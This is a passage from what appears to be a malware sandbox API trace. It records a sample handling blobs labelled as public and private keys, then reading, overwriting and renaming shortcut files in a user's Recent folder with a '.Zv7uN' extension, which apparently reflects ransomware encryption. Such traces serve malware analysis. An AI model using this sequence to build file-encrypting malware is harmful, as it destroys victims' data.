lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0079.849] GetCurrentThreadId () returned 0xa30 [0079.849] GetCurrentThreadId () returned 0xa30 [0079.849] GetCurrentThreadId () returned 0xa30 [0079.849] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7vWXs5wOoyRqHSZ3.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\7vwxs5wooyrqhsz3.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0079.850] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0079.850] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0079.850] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x1fd [0079.850] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0079.850] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x1fd, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x1fd, lpOverlapped=0x0) returned 1 [0079.852] CloseHandle (hObject=0x124) returned 1 [0079.852] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7vWXs5wOoyRqHSZ3.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\7vwxs5wooyrqhsz3.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0079.853] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x1fd, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x1fd, lpOverlapped=0x0) returned 1 [0079.855] CloseHandle (hObject=0x124) returned 1 [0079.865] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7vWXs5wOoyRqHSZ3.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\7vwxs5wooyrqhsz3.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7vWXs5wOoyRqHSZ3.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\7vwxs5wooyrqhsz3.lnk.zv7un")) returned 1 [0079.867] GetCurrentThreadId () returned 0xa30 [0079.867] GetCurrentThreadId () returned 0xa30 [0079.867] GetCurrentThreadId () returned 0xa30 [0079.867] GetCurrentThreadId () returned 0xa30 [0079.867] GetCurrentThreadId () returned 0xa30 [0079.867] GetCurrentThreadId () returned 0xa30 [0079.867] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe37936a0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe37936a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe37936a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x3e8, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="9e8NTycG.lnk", cAlternateFileName="")) returned 1 [0079.867] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0079.867] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0079.867] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9e8NTycG.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\9e8ntycg.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe37936a0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe37936a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe37936a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x3e8)) returned 1 [0079.867] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9e8NTycG.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\9e8ntycg.lnk")) returned 0x20 [0079.867] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9e8NTycG.lnk", dwFileAttributes=0x80) returned 1 [0079.869] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0079.870] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0079.871] GetCurrentThreadId () returned 0xa30 [0079.871] GetCurrentThreadId () returned 0xa30 [0079.871] GetCurrentThreadId () returned 0xa30 [0079.871] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0079.872] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0079.872] GetCurrentThreadId () returned 0xa30 [0079.872] GetCurrentThreadId () returned 0xa30 [0079.872] GetCurrentThreadId () returned 0xa30 [0079.872] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9e8NTycG.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\9e8ntycg.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0079.872] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0079.872] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0079.872] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x3e8 [0079.873] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0079.873] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x3e8, lpOverlapped=0x0) returned 1 [0079.874] CloseHandle (hObject=0x124) returned 1 [0079.875] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS 